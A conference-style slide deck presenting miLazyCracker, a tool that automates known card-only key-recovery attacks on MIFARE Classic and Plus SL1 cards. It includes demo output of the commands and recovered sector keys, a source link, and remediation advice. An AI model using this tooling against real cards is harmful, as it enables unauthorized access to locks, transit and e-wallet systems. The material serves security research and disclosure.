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miLazyCracker

miLazyCracker. Kevin Larson. Me . Software Engineer at Honeywell This presentation in no way represents my employer or what I do there, this work was done completely on my time and my dime Masters Student at University Of Minnesota, USA. Research Note. Mifare Plus Cracking

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miLazyCracker

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  1. miLazyCracker Kevin Larson

  2. Me • Software Engineer at Honeywell • This presentation in no way represents my employer or what I do there, this work was done completely on my time and my dime • Masters Student at University Of Minnesota, USA

  3. Research Note • Mifare Plus Cracking • This presentation does not disclose any new vulnerabilities, simply builds on existing tools to make them easy to use

  4. Mifare Classic • simple storage device • read/write access permissions per block via keys • e-wallet, access control, transportation, hotels • Not all systems rely on networked/server side checks • Custom crypto library – CRYPTO1 Source: https://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic.2C_MIFARE_DESFire_and_MIFARE_Ultralight

  5. Mifare Memory Layout Source: NXP

  6. Mifare Classic Attacks – Card Only • Open source NFC tools for Mifare Classic • MFOC (Nested Attack) • Relies on the fact that one key is known • MFCUK (Darkside Attack) • No keys are known for the card at all MFCUK: https://github.com/nfc-tools/mfcuk MFOC: https://github.com/nfc-tools/mfoc

  7. Response to Attacks • Released Mifare Plus card - AES option • Backwards compatible with Mifare Classic (uses CRYPTO1 as well) • Fixed PRNG, no longer vulnerable to existing card-only attacks (MFOC/MFCUK) IMG URL: https://www.pinterest.com/pin/440297301040955293/

  8. Researchers Response • Carlo Meijer and RoelVerdult • http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf • Found new card-only attacks (Mifare Plus SL1) • Important because many installations likely did not update infrastructure

  9. My Goals • Reproduce the attack • Get the proper hardware and software • Improve attack / easier to use • Can I make it faster? Real-time even?

  10. Hardware and Tools • SCL3711 (~$30) • Proxmark3 ($212) • Mifare Plus Cards (~$75) • Mifare Reader (~$50) • Config Software (FREE!) • Crappy eBay lock * • Not all Classic readers accept MF+ (timing)

  11. The Hardnested Attack • Nested attacked on hardened cards = “hardnested” • Requires at least one known key • Many attempts at nested authentication • Collect unique encrypted nonces • Leaked bits can reduce keyspace to ~2^20 • Brute-force

  12. What did I actually do? • Improving the attack was difficult • People a lot smarter than me don’t sleep • Speed of the attack is heavily dependent on the physical time constraints • Make this REALLY easy to use

  13. Are you lazy? • Everyone is lazy • Lets make this easy: • Don’t know if you have a Mifare Classic or Plus? • Don’t have time to wait for older attacks (MFOC) • Don’t have over $200 to buy a Proxmark? • Have $30 for a usb reader? • Try miLazyCracker!

  14. miLazyCracker • modified LibNFC version of MFOC to ID the PRNG • Modified LibNFC version of hardnested attack to save additional data for tool automation • Created wrapper script to figure out all parameters necessary, no input parameters needed

  15. Demo • ./miLazyCracker • … • Fingerprinting based on MIFARE type Identification Procedure: • * MIFARE Classic 1K • * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 • … • Try to authenticate to all sectors with default keys... • … • Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 01 - Unknown Key A Found Key B: 000000000000 • … • Sector 11 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 12 - Unknown Key A Unknown Key B • Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000

  16. Demo (cont.) • PRNG is not vulnerable to nested attack • MFOC not possible, detected hardened Mifare Classic • Trying HardNested Attack... • libnfc_crypto1_crack 000000000000 60 B 48 B • … • Collected 1540 nonces... leftover complexity 199741811968 (~2^37.54) - initializing brute-force phase... • Found key: 000000143575 • The custom key 0x000000143575 has been added to the default keys •  … recursively calling attacks in wrapper script... • libnfc_crypto1_crack 000000000000 60 B 48 A • Found key: 66778899aabb • The custom key 0x000000143575 has been added to the default keys • The custom key 0x66778899aabb has been added to the default keys • … • Try to authenticate to all sectors with default keys... • Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found • [Key: 000000143575] -> [............\...] • [Key: 66778899aabb] -> [............x...] • [Key: ffffffffffff] -> [x.xxxxxxxxxxxxxx] • [Key: a0a1a2a3a4a5] -> [x.xxxxxxxxxxxxxx] • [Key: d3f7d3f7d3f7] -> [x.xxxxxxxxxxxxxx]

  17. Demo (cont.) • Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 01 - Unknown Key A Found Key B: 000000000000 • Sector 02 - Found Key A: ffffffffffff Found Key B: 000000000000 • … • Sector 12 - Found Key A: 66778899aabb Found Key B: 000000143575 • Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000 • Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000 • … • Using sector 00 as an exploit sector • PRNG is not vulnerable to nested attack • MFOC not possible, detected hardened Mifare Classic • Trying HardNested Attack... • libnfc_crypto1_crack 000000000000 60 B 4 A • Found tag with uid a007a2a0, collecting nonces for key A of block 4 using known key B 000000000000 for block 60 • Collected 4003 nonces... leftover complexity 35169220696 (~2^35.03) - initializing brute-force phase... • Starting 8 threads to test 35169220696 states using 256-way bitslicing • Cracking... 98.28% • No solution found :( • …. Keep Trying! We’ll get different nonces next time around….

  18. Demo (cont.) • MFOC not possible, detected hardened Mifare Classic • Trying HardNested Attack... • libnfc_crypto1_crack 000000000000 60 B 4 A • Collected 23435 nonces... leftover complexity 10712945232 (~2^33.32) - initializing brute-force phase... • Found key: 112233445566..  • Auth with all sectors succeeded, dumping keys to a file!

  19. Source Code Released https://github.com/iAmNotSuperman/miLazyCracker/

  20. Remediation DO NOT USE CUSTOM CRYPTO MifareClassic should be avoided ** Mifare Plus SL2 and SL3 are secure **

  21. Questions?

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